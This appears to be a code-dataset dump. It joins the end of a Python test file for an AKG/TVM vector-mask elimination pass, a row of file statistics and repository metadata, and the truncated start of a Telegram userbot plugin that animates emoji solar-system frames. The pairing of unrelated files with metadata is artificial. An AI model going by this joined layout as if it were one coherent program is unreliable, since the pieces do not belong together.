ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [])
def test_hoist_5():
''' vm + vec + vm in loop '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 'e'])
def test_hoist_6():
''' if + vm in loop, prevent prev-hoist'''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
with ib.if_scope(0):
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 2, 'e'])
def test_hoist_7():
''' vm + if in loop, prevent post-hoist'''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
with ib.if_scope(0):
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 2, 'e'])
def test_hoist_8():
''' mulit-loop hoist '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
with ib.for_range(0, 5, 'j') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 's', 'e', 'e'])
def test_hoist_9():
''' post hoist, rm-pend '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 'e', 3])
def test_hoist_10():
''' state same after hoist '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 'e'])
def test_hoist_11():
''' recover dup for coherent '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 2, 3, 'e'])
def test_hoist_12():
''' covert pend to mask for coherent '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, i))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 3, 2, 'e'])
def test_hoist_13():
''' cur_mask coherent to entry after pend hoist '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
A = ib.allocate("float32", 128, name="A", scope="local")
ib.emit(akg.tvm.call_extern("float32", "vadd", A, A, 0))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", A))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 3, 2, 'e', 3])
def test_hoist_14():
''' mask coherent to entry '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 1))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x3, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 2))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 2))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [2, 's', 3, 2, 'e'])
def test_hoist_15():
''' if as first '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
with ib.for_range(0, 5, 'i') as i:
with ib.if_scope(0):
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 1, 2, 'e'])
def test_hoist_16():
''' if as first '''
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
with ib.for_range(0, 5, 'i') as i:
with ib.for_range(0, 5, 'j') as j:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
with ib.for_range(0, 5, 'i') as i:
with ib.for_range(0, 5, 'j') as j:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
with ib.for_range(0, 55, 'j') as j:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [1, 's', 's', 'e', 'e', 's', 's', 'e', 2, 's', 'e', 1, 'e'])
def test_hoist_17():
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x0, "uint64")))
with ib.for_range(0, 5, 'i') as i:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x0, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x0, "uint64")))
with ib.for_range(0, 55, 'j') as j:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x0, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 0))
stmt = ib.get()
# print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
# print(stmt)
check_result(stmt, [0, 's', 1, 's', 'e', 0, 'e', 1])
def test_hoist_18():
ib = akg.tvm.ir_builder.create()
cp = akg.tvm.thread_axis("cce")
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 1))
with ib.for_range(0, 5, 'i') as i:
with ib.for_range(0, 10, 'j') as j:
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x1, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 1))
ib.emit(akg.tvm.call_extern("float32", "set_vector_mask", akg.tvm.const(0, "uint64"), akg.tvm.const(0x2, "uint64")))
ib.emit(akg.tvm.call_extern("float32", "vadd", 2))
stmt = ib.get()
#print(stmt)
stmt = akg.tvm.ir_pass.ElimVectorMask(stmt)
#print(stmt)
check_result(stmt, [1, 's', 's', 1, 'e', 2, 'e'])
if __name__ == '__main__':
test_elim_1()
test_elim_2()
test_hoist_1()
test_hoist_2()
test_hoist_3()
test_hoist_4()
test_hoist_5()
test_hoist_6()
test_hoist_7()
test_hoist_8()
test_hoist_9()
test_hoist_10()
test_hoist_11()
test_hoist_12()
test_hoist_13()
test_hoist_14()
test_hoist_15()
test_hoist_16()
test_hoist_17()
test_hoist_18()
| 45.481069 | 128 | 0.610156 | 3,246 | 20,421 | 3.698706 | 0.054837 | 0.147926 | 0.11361 | 0.105947 | 0.872814 | 0.863901 | 0.863901 | 0.863901 | 0.863901 | 0.863901 | 0 | 0.056337 | 0.189021 | 20,421 | 448 | 129 | 45.582589 | 0.668619 | 0.075119 | 0 | 0.743902 | 0 | 0 | 0.158227 | 0 | 0 | 0 | 0.009936 | 0 | 0.015244 | 1 | 0.070122 | false | 0.067073 | 0.006098 | 0 | 0.07622 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
a2a7cb6a8f371b48c84aaa69bbff95190fdd603c | 11,046 | py | Python | userbot/plugins/solarsystem.py | ghion266/SensibleUserbot | 16ad83206fa14fe4315143fa8a94e5687eb06fcb | [
"MIT"
] | 44 | 2021-01-11T13:33:48.000Z | 2022-02-05T17:53:33.000Z | userbot/plugins/solarsystem.py | ghion266/SensibleUserbot | 16ad83206fa14fe4315143fa8a94e5687eb06fcb | [
"MIT"
] | 5 | 2020-08-25T15:58:13.000Z | 2021-02-09T09:57:57.000Z | userbot/plugins/solarsystem.py | ghion266/SensibleUserbot | 16ad83206fa14fe4315143fa8a94e5687eb06fcb | [
"MIT"
] | 226 | 2020-02-25T05:58:57.000Z | 2022-03-12T04:12:33.000Z |
from telethon import events
import asyncio
from uniborg.util import admin_cmd
@borg.on(admin_cmd(pattern=r"solarsystem"))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.1
animation_ttl = range(0, 549755813888)
await event.edit("Solar")
animation_chars = [
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
